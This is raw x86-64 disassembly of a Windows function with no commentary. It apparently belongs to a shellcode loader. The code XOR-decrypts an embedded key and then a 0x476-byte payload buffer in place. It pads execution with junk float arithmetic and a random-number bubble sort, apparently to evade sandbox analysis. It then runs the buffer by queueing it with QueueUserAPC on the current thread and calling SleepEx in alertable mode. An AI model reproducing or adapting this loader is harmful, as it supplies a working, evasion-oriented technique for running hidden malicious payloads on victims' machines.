mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x648], rax
lea rdx, [rbp + 0x120]
mov rax, qword [rbp + 0x650]
mov r9, qword [rbp + 0x648]
mov r8d, 0x476
mov rcx, rax
call r9
mov dword [rbp + 0x7ec], 0
mov dword [rbp + 0x7e8], 0
mov dword [rbp + 0x7e4], 0
movabs rax, 0x31e0e39c1755b326
movabs rdx, 0x2a6574a6624cfe89
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0xde7db3f453b45b03
movabs rdx, 0x578111fb55c031b
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0x41c211413e08449
movabs rdx, 0x75eb73796f042aaa
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0xa79b457d47bc51d6
movabs rdx, 0xe973bac3573a1d44
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0x4288b2453d1a89f1
movabs rdx, 0x25d8c559b3be42f
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
movabs rax, 0x246010e5373b8871
movabs rdx, 0x27a712686cca22d
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rdx
movabs rax, 0xfb52b67d37331048
movabs rdx, 0x7fb181c5f5cb368d
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], rdx
movabs rax, 0xf1a97fb181c5f5cb
movabs rdx, 0xdb80deb3fa37e5
mov qword [rbp + 0x10a], rax
mov qword [rbp + 0x112], rdx
movabs rax, 0x47d8b5946a329aff
movabs rdx, 0xa798046838aa30a6
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0xc898f661548e76cb
movabs rdx, 0xe5306f93b49985ed
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0xb85341ae078b3e4c
movabs rdx, 0xedde39c8e5304134
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0xcb4704670638003a
movabs rdx, 0x5f5424d5017cb08f
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0x3163e2e527b5a967
movabs rdx, 0x1366d30d365e0d83
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0x855fd92bac9ee6a8
movabs rdx, 0xf8085e06368c45dc
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
mov dword [rbp + 0x90], 0xcb8995
jmp 0x140002bd7
mov eax, dword [rbp + 0x7ec]
cdqe
movzx edx, byte [rbp + rax + 0x30]
mov eax, dword [rbp + 0x7e8]
cdqe
movzx eax, byte [rbp + rax + 0xa0]
xor edx, eax
mov eax, dword [rbp + 0x7ec]
cdqe
mov byte [rbp + rax - 0x40], dl
cmp dword [rbp + 0x7e8], 0x78
jne 0x140002bc9
mov dword [rbp + 0x7e8], 0
jmp 0x140002bd0
add dword [rbp + 0x7e8], 1
add dword [rbp + 0x7ec], 1
mov eax, dword [rbp + 0x7ec]
cmp eax, 0x62
jbe 0x140002b89
mov dword [rbp + 0x7ec], 0
jmp 0x140002c4f
mov eax, dword [rbp + 0x7ec]
movsxd rdx, eax
mov rax, qword [rbp + 0x650]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x7e4]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x7ec]
movsxd rdx, eax
mov rax, qword [rbp + 0x650]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x7e4], 0x62
jne 0x140002c41
mov dword [rbp + 0x7e4], 0
jmp 0x140002c48
add dword [rbp + 0x7e4], 1
add dword [rbp + 0x7ec], 1
cmp dword [rbp + 0x7ec], 0x475
jle 0x140002bee
mov rax, qword [rbp + 0x650]
mov qword [rbp + 0x640], rax
mov ecx, 0x2370
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x638], rax
mov ecx, 0x2370
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x630], rax
mov ecx, 0x2370
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x628], rax
mov dword [rbp + 0x7e0], 0
jmp 0x140002d95
mov dword [rbp + 0x7dc], 0
jmp 0x140002d81
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7e0]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
add rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x638]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7dc]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x7e0]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
add rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x630]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x7dc]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x7dc], 1
cmp dword [rbp + 0x7dc], 0x23
jle 0x140002cba
add dword [rbp + 0x7e0], 1
cmp dword [rbp + 0x7e0], 0x3e
jle 0x140002cab
mov dword [rbp + 0x7e0], 0
jmp 0x140002e72
mov dword [rbp + 0x7dc], 0
jmp 0x140002e5e
mov eax, dword [rbp + 0x7e0]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x638]
add rdx, rax
mov eax, dword [rbp + 0x7dc]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7e0]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x630]
add rdx, rax
mov eax, dword [rbp + 0x7dc]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x7e0]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x628]
add rdx, rax
mulss xmm0, xmm1
mov eax, dword [rbp + 0x7dc]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x7dc], 1
cmp dword [rbp + 0x7dc], 0x23
jle 0x140002dc0
add dword [rbp + 0x7e0], 1
cmp dword [rbp + 0x7e0], 0x3e
jle 0x140002db1
mov rax, qword [rbp + 0x638]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x630]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x628]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7c8]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x620], rax
mov rax, qword [rbp + 0x7c8]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x618], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x640]
mov r9, qword [rbp + 0x620]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x618]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov ecx, 0x1a4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x610], rax
mov dword [rbp + 0x7d8], 0
jmp 0x140002fce
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x7d8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x610]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x7d8], 1
cmp dword [rbp + 0x7d8], 0x68
jle 0x140002f47
mov dword [rbp + 0x7d8], 0
jmp 0x1400030cf
cmp dword [rbp + 0x7d8], 0
je 0x140003034
mov eax, dword [rbp + 0x7d8]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x610]
add rax, rdx
movss xmm1, dword [rax]
mov eax, dword [rbp + 0x7d8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x610]
add rax, rdx
movss xmm0, dword [rax]
comiss xmm0, xmm1
jb 0x140003040
add dword [rbp + 0x7d8], 1
jmp 0x1400030cf
mov eax, dword [rbp + 0x7d8]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x610]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x60c], xmm0
mov eax, dword [rbp + 0x7d8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x610]
add rdx, rax
mov eax, dword [rbp + 0x7d8]
cdqe
shl rax, 2
lea rcx, [rax - 4]
mov rax, qword [rbp + 0x610]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x7d8]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x610]
add rax, rdx
movss xmm0, dword [rbp + 0x60c]
movss dword [rax], xmm0
sub dword [rbp + 0x7d8], 1
cmp dword [rbp + 0x7d8], 0x68
jle 0x140002fea
mov rax, qword [rbp + 0x610]
mov rcx, rax
call sub.msvcrt.dll_free
mov eax, 0
movups xmm6, xmmword [rbp + 0x850]
add rsp, 0x8e8
pop rbx
pop rsi
pop rdi
pop rbp
ret